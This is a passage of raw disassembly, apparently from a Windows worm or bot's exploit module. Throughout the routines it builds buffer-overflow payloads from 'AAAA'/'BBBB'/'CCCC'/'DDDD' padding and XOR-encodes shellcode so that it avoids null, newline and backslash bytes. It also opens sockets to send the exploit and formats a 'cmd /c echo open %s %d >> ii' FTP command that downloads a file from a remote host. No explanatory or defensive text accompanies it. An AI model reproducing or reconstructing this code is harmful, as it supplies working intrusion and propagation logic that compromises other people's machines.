		push	edx
		call	sub_4012C6
		retn	8
sub_424760	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424790	proc near		; CODE XREF: sub_4017CBj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		call	sub_4010A0
		test	al, al
		jnz	short loc_4247A4
		pop	esi
		add	esp, 8
		retn
; ---------------------------------------------------------------------------


loc_4247A4:				; CODE XREF: sub_424790+Dj
		mov	eax, [esi+4]
		mov	ecx, [esi]
		push	eax
		push	ecx
		push	1
		push	offset dword_444BA4
		lea	ecx, [esp+1Ch+var_8]
		call	sub_4021D5
		mov	ecx, esi
		call	sub_4016B8
		mov	edx, [esp+0Ch+var_8]
		mov	eax, [esp+0Ch+var_4]
		mov	[esi], edx
		mov	[esi+4], eax
		mov	al, 1
		pop	esi
		add	esp, 8
		retn
sub_424790	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424800	proc near		; CODE XREF: sub_401EABj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, ecx
		push	eax
		mov	ecx, [esp+8+arg_0]
		push	ecx
		mov	ecx, esi
		call	sub_4014FB
		test	al, al
		jnz	short loc_42481C
		pop	esi
		retn	8
; ---------------------------------------------------------------------------


loc_42481C:				; CODE XREF: sub_424800+16j
		mov	ecx, esi
		call	sub_4017CB
		pop	esi
		retn	8
sub_424800	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424840	proc near		; CODE XREF: sub_401BEAj

var_858		= dword	ptr -858h
var_854		= dword	ptr -854h
var_850		= dword	ptr -850h
var_84C		= dword	ptr -84Ch
var_848		= dword	ptr -848h
var_844		= dword	ptr -844h
var_840		= dword	ptr -840h
var_83C		= dword	ptr -83Ch
var_838		= dword	ptr -838h
var_834		= dword	ptr -834h
var_830		= dword	ptr -830h
var_82C		= dword	ptr -82Ch
var_828		= dword	ptr -828h
var_824		= dword	ptr -824h
var_820		= dword	ptr -820h
var_81C		= dword	ptr -81Ch
var_818		= dword	ptr -818h
var_814		= dword	ptr -814h
var_810		= dword	ptr -810h
var_80C		= dword	ptr -80Ch
var_808		= dword	ptr -808h
var_804		= dword	ptr -804h
var_800		= byte ptr -800h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		sub	esp, 858h
		lea	ecx, [esp+858h+var_818]
		push	ebx
		push	esi
		call	sub_4012A8
		mov	esi, [esp+860h+arg_8]
		cmp	esi, 408h
		jg	loc_424C15
		mov	ebx, [esp+860h+arg_10]
		lea	eax, [ebx+8]
		cmp	eax, 408h
		ja	loc_424C15
		push	edi
		lea	ecx, [esp+864h+var_830]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_840]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_810]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_848]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_820]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_828]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_838]
		call	sub_4012A8
		push	4
		push	offset dword_444840
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		push	3
		push	offset dword_444848
		lea	ecx, [esp+86Ch+var_830]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_830]
		call	sub_401B68
		lea	ecx, [esp+864h+var_830]
		call	sub_4017CB
		mov	ecx, 200h
		mov	eax, 42424242h
		lea	edi, [esp+864h+var_800]
		push	8
		rep stosd
		push	offset aRbrbrbrb ; "BBBB"
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_C]
		push	ebx
		push	ecx
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		mov	ebx, [esp+864h+var_83C]
		mov	edx, 409h
		sub	edx, ebx
		lea	eax, [esp+864h+var_800]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_840]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_840]
		call	sub_401B68
		push	offset loc_444BC8
		lea	ecx, [esp+868h+var_810]
		call	sub_402036
		lea	ecx, [esp+864h+var_810]
		call	sub_401B68
		mov	ecx, 200h
		mov	eax, 44444444h
		lea	edi, [esp+864h+var_800]
		push	410h
		rep stosd
		lea	ecx, [esp+868h+var_800]
		push	ecx
		lea	ecx, [esp+86Ch+var_808]
		call	sub_401834
		lea	ecx, [esp+864h+var_808]
		call	sub_401B68
		mov	edx, [esp+864h+var_804]
		mov	eax, [esp+864h+var_808]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_810]
		call	sub_401EAB
		lea	ecx, [esp+864h+var_808]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 43434343h
		lea	edi, [esp+864h+var_800]
		push	offset aCccc	; "CCCC"
		rep stosd
		lea	ecx, [esp+868h+var_848]
		call	sub_402036
		push	4
		push	offset dword_44484C
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	ecx, [esp+864h+arg_4]
		push	esi
		push	ecx
		lea	ecx, [esp+86Ch+var_848]
		call	sub_4012C6
		mov	edx, 408h
		lea	eax, [esp+864h+var_800]
		sub	edx, esi
		lea	ecx, [esp+864h+var_848]
		push	edx
		push	eax
		call	sub_4012C6
		lea	ecx, [esp+864h+var_848]
		call	sub_401B68
		mov	ecx, [esp+864h+var_844]
		mov	edx, [esp+864h+var_848]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		mov	eax, [esp+864h+var_80C]
		mov	ecx, [esp+864h+var_810]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_820]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_820]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_848]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_810]
		call	sub_4016B8
		mov	edx, [esp+864h+var_83C]
		mov	eax, [esp+864h+var_840]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	ecx, [esp+864h+var_82C]
		mov	edx, [esp+864h+var_830]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		mov	eax, [esp+864h+var_81C]
		mov	ecx, [esp+864h+var_820]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_828]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_828]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_840]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_830]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_820]
		call	sub_4016B8
		mov	ecx, 200h
		mov	eax, 41414141h
		lea	edi, [esp+864h+var_800]
		lea	edx, [esp+864h+var_800]
		rep stosd
		push	400h
		push	edx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		lea	ecx, [esp+864h+var_838]
		call	sub_401B68
		push	2
		push	offset dword_444BBC
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4012C6
		mov	eax, [esp+864h+var_824]
		mov	ecx, [esp+864h+var_828]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_838]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_838]
		call	sub_4017CB
		lea	ecx, [esp+864h+var_828]
		call	sub_4016B8
		lea	ecx, [esp+864h+var_850]
		call	sub_4012A8
		lea	ecx, [esp+864h+var_858]
		call	sub_4012A8
		mov	edx, [esp+864h+var_834]
		mov	eax, [esp+864h+var_838]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_838]
		call	sub_4016B8
		push	offset dword_444BB8
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	ecx, [esp+864h+var_84C]
		mov	edx, [esp+864h+var_850]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_443E90
		lea	ecx, [esp+868h+var_850]
		call	sub_402036
		mov	eax, [esp+864h+var_854]
		mov	ecx, [esp+864h+var_858]
		push	eax
		push	ecx
		lea	ecx, [esp+86Ch+var_850]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_850]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		push	offset dword_444BAC
		lea	ecx, [esp+868h+var_858]
		call	sub_402036
		mov	edx, [esp+864h+var_84C]
		mov	eax, [esp+864h+var_850]
		push	edx
		push	eax
		lea	ecx, [esp+86Ch+var_858]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4010A0
		lea	ecx, [esp+864h+var_850]
		call	sub_4016B8
		push	offset dword_444BA8
		lea	ecx, [esp+868h+var_818]
		call	sub_402036
		mov	ecx, [esp+864h+var_854]
		mov	edx, [esp+864h+var_858]
		push	ecx
		push	edx
		lea	ecx, [esp+86Ch+var_818]
		call	sub_4014FB
		lea	ecx, [esp+864h+var_858]
		call	sub_4016B8
		mov	eax, [esp+864h+arg_0]
		mov	ecx, [esp+864h+var_818]
		mov	edx, [esp+864h+var_814]
		pop	edi
		mov	[eax], ecx
		pop	esi
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
; ---------------------------------------------------------------------------


loc_424C15:				; CODE XREF: sub_424840+1Ej
					; sub_424840+33j
		mov	eax, [esp+860h+arg_0]
		mov	ecx, [esp+860h+var_818]
		mov	edx, [esp+860h+var_814]
		pop	esi
		mov	[eax], ecx
		mov	[eax+4], edx
		pop	ebx
		add	esp, 858h
		retn
sub_424840	endp

; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424D40	proc near		; CODE XREF: sub_401AB4j

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4

		sub	esp, 210h
		push	esi
		mov	esi, [esp+214h+arg_0]
		lea	eax, [esp+214h+var_210]
		lea	ecx, [esp+214h+var_104]
		push	eax
		push	ecx
		lea	edx, [esp+21Ch+var_208]
		push	0
		lea	eax, [esi+1]
		push	edx
		push	eax
		mov	[esp+228h+var_204], esi
		mov	[esp+228h+var_208], 1
		mov	[esp+228h+var_100], esi
		mov	[esp+228h+var_104], 1
		mov	[esp+228h+var_210], 0Ah
		mov	[esp+228h+var_20C], 0
		nop
		call	near ptr 71AB2DC0h
		cmp	eax, 1
		jz	short loc_424DA9
		xor	eax, eax
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DA9:				; CODE XREF: sub_424D40+5Dj
		lea	ecx, [esp+214h+var_208]
		push	ecx
		push	esi
		call	sub_436F60
sub_424D40	endp

; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_424DC0
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------


loc_424DC0:				; CODE XREF: ___:00424DB6j
		mov	edx, [esp+224h]
		mov	eax, [esp+220h]
		mov	ecx, [esp+21Ch]
		push	edx
		push	eax
		push	ecx
		push	esi
		nop
		call	near ptr 71AB615Ah
		pop	esi
		add	esp, 210h
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E20	proc near		; CODE XREF: sub_4012F3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	esi
		mov	esi, [esp+8+arg_8]
		push	edi
		push	esi
		nop
		call	near ptr 71AB2BC0h
		mov	edi, [esp+0Ch+arg_0]
		mov	ebx, dword_50FC8C
		mov	[esp+0Ch+arg_8], eax
		push	0
		lea	eax, [esp+10h+arg_8]
		push	4
		push	eax
		push	edi
		call	ebx	; send
		cmp	eax, 4
		jz	short loc_424E53
		pop	edi
		pop	esi
		xor	al, al
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_424E53:				; CODE XREF: sub_424E20+2Bj
		mov	ecx, [esp+0Ch+arg_4]
		push	0
		push	esi
		push	ecx
		push	edi
		call	ebx	; send
		xor	edx, edx
		cmp	eax, esi
		setz	dl
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		retn
sub_424E20	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_424E90	proc near		; CODE XREF: sub_4012F8j

var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		sub	esp, 104h
		push	ebx
		push	ebp
		mov	ebp, [esp+10Ch+arg_8]
		push	esi
		lea	esi, [ebp+41h]
		push	esi
		mov	[esp+114h+var_104], esi
		nop
		call	near ptr 77C2C407h
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jnz	short loc_424EC3
		pop	esi
		pop	ebp
		xor	al, al
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424EC3:				; CODE XREF: sub_424E90+25j
		mov	ecx, esi
		push	edi
		mov	edx, ecx
		xor	eax, eax
		mov	edi, ebx
		mov	esi, offset dword_4448DC
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		push	85h
		and	ecx, 3
		push	offset dword_444854
		rep stosb
		mov	ecx, 0Bh
		mov	edi, ebx
		rep movsd
		movsw
		movsb
		mov	[ebx+2Fh], bp
		mov	eax, dword_44490C
		mov	[ebx+31h], eax
		mov	ecx, dword_444910
		mov	esi, [esp+11Ch+arg_4]
		mov	[ebx+35h], ecx
		mov	ecx, ebp
		lea	eax, [ebx+3Bh]
		mov	edx, ecx
		mov	edi, eax
		shr	ecx, 2
		mov	[ebx+39h], bp
		add	eax, ebp
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		mov	ecx, dword_50E140
		mov	esi, [esp+11Ch+arg_0]
		mov	[eax], ecx
		mov	dx, word_50E144
		push	esi
		mov	[eax+4], dx
		call	sub_4012F3
		add	esp, 0Ch
		test	al, al
		pop	edi
		jnz	short loc_424F68
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424F68:				; CODE XREF: sub_424E90+C0j
		push	0
		lea	eax, [esp+114h+var_100]
		push	100h
		push	eax
		push	esi
		call	sub_401AB4
		mov	ecx, [esp+120h+var_104]
		push	ecx
		push	ebx
		push	esi
		call	sub_4012F3
		add	esp, 1Ch
		test	al, al
		jnz	short loc_424FA3
		push	ebx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	al, al
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_424FA3:				; CODE XREF: sub_424E90+FBj
		push	0
		lea	edx, [esp+114h+var_100]
		push	100h
		push	edx
		push	esi
		call	sub_401AB4
		push	ebx
		call	near ptr 77C2C21Bh
		nop
		add	esp, 14h
		mov	al, 1
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 104h
		retn
sub_424E90	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425020	proc near		; CODE XREF: sub_401811j

var_41C		= dword	ptr -41Ch
var_418		= dword	ptr -418h
var_414		= dword	ptr -414h
var_410		= word ptr -410h
var_40E		= word ptr -40Eh
var_40A		= dword	ptr -40Ah
var_406		= dword	ptr -406h
var_402		= word ptr -402h
var_400		= byte ptr -400h
var_3FF		= byte ptr -3FFh
var_371		= byte ptr -371h
arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_9E		= dword	ptr  0A2h

		sub	esp, 41Ch
		mov	ecx, 0FFh
		xor	eax, eax
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+428h+var_3FF]
		rep stosd
		stosw
		stosb
		mov	ecx, 23h
		mov	esi, offset sub_444A80
		lea	edi, [esp+428h+var_400]
		rep movsd
		movsw
		mov	ecx, offset byte_447551
		movsb
		call	sub_4017E4
		push	eax
		mov	ecx, offset byte_447551
		call	sub_4017E4
		mov	ecx, [esp+42Ch+arg_0]
		push	eax
		mov	eax, dword_44768F
		push	eax
		push	ecx
		call	sub_401DF7
		add	esp, 4
		lea	edx, [esp+434h+var_371]
		push	eax
		push	offset aCmdCEchoOpenSD ; "cmd /c echo open %s %d >> ii &echo user"...
		push	400h
		push	edx
		nop
		call	near ptr 77C3FA76h
		add	eax, 90h
		lea	ecx, [esp+444h+var_418]
		push	eax
		lea	eax, [esp+448h+var_400]
		push	eax
		push	164h
		push	offset sub_444918
		push	ecx
		call	sub_401BEA
		mov	eax, [esp+458h+var_414]
		xor	edi, edi
		add	esp, 30h
		cmp	eax, edi
		jnz	short loc_4250C9
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 41Ch
		retn
; ---------------------------------------------------------------------------


loc_4250C9:				; CODE XREF: sub_425020+9Bj
		mov	ebp, dword_50FC2C
		mov	[esp+428h+var_41C], edi


loc_4250D3:				; CODE XREF: sub_425020+158j
		test	edi, edi
		jnz	loc_42517E
		push	6
		push	1
		push	2
		call	near ptr 71AB3B91h
		nop
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_425161
		mov	eax, [esp+428h+arg_9E]
		xor	edx, edx
		mov	dword ptr [esp+428h+var_40E], edx
		push	eax
		mov	[esp+42Ch+var_40A], edx
		mov	[esp+42Ch+var_410], 2
		mov	[esp+42Ch+var_406], edx
		mov	[esp+42Ch+var_402], dx
		call	ebp	; ntohs
		lea	ecx, [esp+428h+arg_4]
		mov	[esp+428h+var_40E], ax
		push	ecx
		nop
		call	near ptr 71AB2BF4h
		lea	edx, [esp+428h+var_410]
		push	10h
		push	edx
		push	esi
		mov	[esp+28h], eax
		nop
		call	near ptr 71AB406Ah
		cmp	eax, 0FFFFFFFFh
		jz	short loc_425156
		mov	eax, [esp+428h+var_414]
		mov	ecx, [esp+428h+var_418]
		push	eax
		push	ecx
		push	esi
		call	sub_4012F8
		add	esp, 0Ch
		and	eax, 0FFh
		mov	edi, eax


loc_425156:				; CODE XREF: sub_425020+11Aj
		push	esi
		nop
		call	near ptr 71AB9639h
		test	edi, edi
		jnz	short loc_42516C


loc_425161:				; CODE XREF: sub_425020+CCj
		push	3E8h
		call	near ptr 2821EEEh
		nop


loc_42516C:				; CODE XREF: sub_425020+13Fj
		mov	eax, [esp+428h+var_41C]
		inc	eax
		cmp	eax, 2
		mov	[esp+428h+var_41C], eax
		jl	loc_4250D3


loc_42517E:				; CODE XREF: sub_425020+B5j
		lea	ecx, [esp+428h+var_418]
		call	sub_4016B8
		test	edi, edi
		jz	short loc_4251AE
		sub	esp, 0BCh
		mov	ecx, 2Eh
		lea	esi, [esp+4E4h+arg_0]
		mov	edi, esp
		rep movsd
		movsw
		call	sub_40114F
		add	esp, 0BCh


loc_4251AE:				; CODE XREF: sub_425020+169j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebp
		add	esp, 41Ch
		retn
sub_425020	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425230	proc near		; CODE XREF: sub_4013C5j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	edi
		mov	edi, [esp+4+arg_4]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edi, [esp+4+arg_0]
		not	ecx
		dec	ecx
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		pop	edi
		lea	eax, [ecx+edx*2+0C1h]
		retn
sub_425230	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425270	proc near		; CODE XREF: sub_40178Aj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_8]
		push	esi
		mov	esi, [esp+8+arg_C]
		push	esi
		push	ebx
		call	sub_4013C5
		mov	ecx, [esp+10h+arg_4]
		add	esp, 8
		cmp	eax, ecx
		mov	[esp+8+arg_8], eax
		jbe	short loc_425295
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425295:				; CODE XREF: sub_425270+1Ej
		push	ebp
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		xor	eax, eax
		mov	ebp, [esp+10h+arg_0]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, esi
		mov	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, offset dword_444CA8
		mov	eax, ecx
		mov	edi, ebp
		lea	ecx, [eax+edx+12h]
		mov	dword_444D0C, ecx
		lea	ecx, [eax+1]
		mov	dword_444D2D, ecx
		lea	ecx, [eax+17h]
		mov	dword_444D25, ecx
		mov	ecx, 0FFFFFFEDh
		sub	ecx, eax
		mov	dword_444D3B, ecx
		mov	ecx, 1Dh
		rep movsd
		mov	ecx, edx
		mov	esi, ebx
		mov	ebx, ecx
		lea	edi, [ebp+74h]
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		add	edx, 74h
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D1C
		lea	ecx, [edx+ebp]
		add	edx, 5
		mov	[ecx], esi
		mov	bl, byte_444D20
		mov	esi, [esp+10h+arg_C]
		lea	edi, [edx+ebp]
		mov	[ecx+4], bl
		mov	ecx, eax
		mov	ebx, ecx
		add	edx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		mov	esi, dword_444D21
		lea	ecx, [edx+ebp]
		add	edx, 10h
		mov	[ecx], esi
		mov	esi, dword_444D25
		lea	edi, [edx+ebp]
		mov	[ecx+4], esi
		mov	esi, dword_444D29
		mov	[ecx+8], esi
		mov	esi, dword_444D2D
		mov	[ecx+0Ch], esi
		mov	esi, [esp+10h+arg_C]
		mov	ecx, eax
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		and	ecx, 3
		rep movsb
		lea	edi, [edx+eax]
		mov	eax, [esp+10h+arg_8]
		add	edi, ebp
		mov	ecx, 0Eh
		mov	esi, offset byte_444D31
		rep movsd
		pop	edi
		pop	ebp
		pop	esi
		pop	ebx
		retn
sub_425270	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4253E0	proc near		; CODE XREF: sub_402162j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_4013C5
		push	eax
		call	sub_4017BC
		add	esp, 0Ch
		retn
sub_4253E0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_425410:				; CODE XREF: ___:00401735j
		push	ebx
		mov	ebx, [esp+10h]
		push	ebp
		push	edi
		mov	edi, [esp+1Ch]
		push	edi
		push	ebx
		call	sub_402162
		mov	ebp, [esp+1Ch]
		add	esp, 8
		cmp	eax, ebp
		jbe	short loc_425433
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425433:				; CODE XREF: ___:0042542Bj
		cmp	eax, 0FFFFh
		jbe	short loc_425440
		pop	edi
		pop	ebp
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425440:				; CODE XREF: ___:00425438j
		push	esi
		push	edi
		push	ebx
		call	sub_4013C5
		add	eax, 101h
		push	eax
		nop
		call	near ptr 77C2C407h
		add	esp, 0Ch
		mov	esi, eax
		push	edi
		push	ebx
		push	edi
		push	ebx
		call	sub_4013C5
		add	esp, 8
		push	eax
		push	esi
		call	sub_40178A
		push	eax
		mov	eax, [esp+28h]
		push	esi
		push	ebp
		push	eax
		call	sub_401B77
		push	esi
		mov	edi, eax
		nop
		call	near ptr 77C2C21Bh
		add	esp, 24h
		mov	eax, edi
		pop	esi
		pop	edi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254B0	proc near		; CODE XREF: sub_4017BCj

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	cl, cl
		jnz	short loc_4254B9
		inc	ecx


loc_4254B9:				; CODE XREF: sub_4254B0+6j
		mov	eax, 0FFh
		cmp	eax, ecx
		sbb	eax, eax
		and	eax, 2
		add	eax, 15h
		add	eax, ecx
		retn
sub_4254B0	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_4254E0	proc near		; CODE XREF: sub_401B77j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	ebx, [esp+4+arg_C]
		cmp	bl, 0Ah
		jz	short loc_4254F8
		cmp	bl, 0Dh
		jz	short loc_4254F8
		cmp	bl, 5Ch
		jz	short loc_4254F8
		test	bl, bl
		jnz	short loc_4254F9


loc_4254F8:				; CODE XREF: sub_4254E0+8j
					; sub_4254E0+Dj ...
		inc	ebx


loc_4254F9:				; CODE XREF: sub_4254E0+16j
		cmp	ebx, 0FFh
		jbe	short loc_42551C
		mov	eax, ebx
		shr	eax, 8
		cmp	al, 0Ah
		jz	short loc_425516
		cmp	al, 0Dh
		jz	short loc_425516
		cmp	al, 5Ch
		jz	short loc_425516
		test	al, al
		jnz	short loc_42551C


loc_425516:				; CODE XREF: sub_4254E0+28j
					; sub_4254E0+2Cj ...
		add	ebx, 100h


loc_42551C:				; CODE XREF: sub_4254E0+1Fj
					; sub_4254E0+34j
		push	ebx
		call	sub_4017BC
		mov	ecx, [esp+8+arg_4]
		add	esp, 4
		cmp	eax, ecx
		mov	[esp+4+arg_C], eax
		jbe	short loc_425535
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425535:				; CODE XREF: sub_4254E0+4Fj
		cmp	eax, 0FFFFh
		jbe	short loc_425540
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_425540:				; CODE XREF: sub_4254E0+5Aj
		mov	al, byte_50E148
		xor	edx, edx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		test	ebx, ebx
		push	esi
		jbe	short loc_425570


loc_425551:				; CODE XREF: sub_4254E0+8Ej
		mov	cl, [edx+ebp]
		xor	cl, al
		jz	short loc_425567
		cmp	cl, 0Ah
		jz	short loc_425567
		cmp	cl, 0Dh
		jz	short loc_425567
		cmp	cl, 5Ch
		jnz	short loc_42556B


loc_425567:				; CODE XREF: sub_4254E0+76j
					; sub_4254E0+7Bj ...
		inc	al
		xor	edx, edx


loc_42556B:				; CODE XREF: sub_4254E0+85j
		inc	edx
		cmp	edx, ebx
		jb	short loc_425551


loc_425570:				; CODE XREF: sub_4254E0+6Fj
		cmp	ebx, 0FFh
		push	edi
		mov	byte_50E148, al
		ja	short loc_4255A3
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C90
		mov	edi, edx
		mov	byte_444C9D, bl
		mov	byte_444CA1, al
		rep movsd
		movsb
		mov	esi, 15h
		jmp	short loc_4255C9
; ---------------------------------------------------------------------------


loc_4255A3:				; CODE XREF: sub_4254E0+9Cj
		mov	edx, [esp+10h+arg_0]
		mov	ecx, 5
		mov	esi, offset loc_444C78
		mov	edi, edx
		mov	word_444C86, bx
		mov	byte_444C8B, al
		rep movsd
		movsw
		movsb
		mov	esi, 17h


loc_4255C9:				; CODE XREF: sub_4254E0+C1j
		xor	ecx, ecx
		pop	edi
		test	ebx, ebx
		jbe	short loc_4255DF
		add	esi, edx


loc_4255D2:				; CODE XREF: sub_4254E0+FDj
		mov	dl, [ecx+ebp]
		xor	dl, al
		mov	[esi+ecx], dl
		inc	ecx
		cmp	ecx, ebx
		jb	short loc_4255D2


loc_4255DF:				; CODE XREF: sub_4254E0+EEj
		mov	eax, [esp+0Ch+arg_C]
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_4254E0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_425640	proc near		; CODE XREF: sub_401E24j

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		lea	eax, [ecx+ecx*2]
		shl	eax, 4
		sub	eax, ecx
		xor	ecx, ecx
		lea	eax, [eax+eax*2]
		mov	dword_4491DF[eax*4], ecx
		mov	dword_4491CB[eax*4], ecx
		mov	dword_4491CF[eax*4], ecx
		mov	dword_4491D3[eax*4], ecx
		mov	dword_4491D7[eax*4], ecx
		mov	dword_4491DB[eax*4], ecx
		mov	byte_448FCB[eax*4], cl
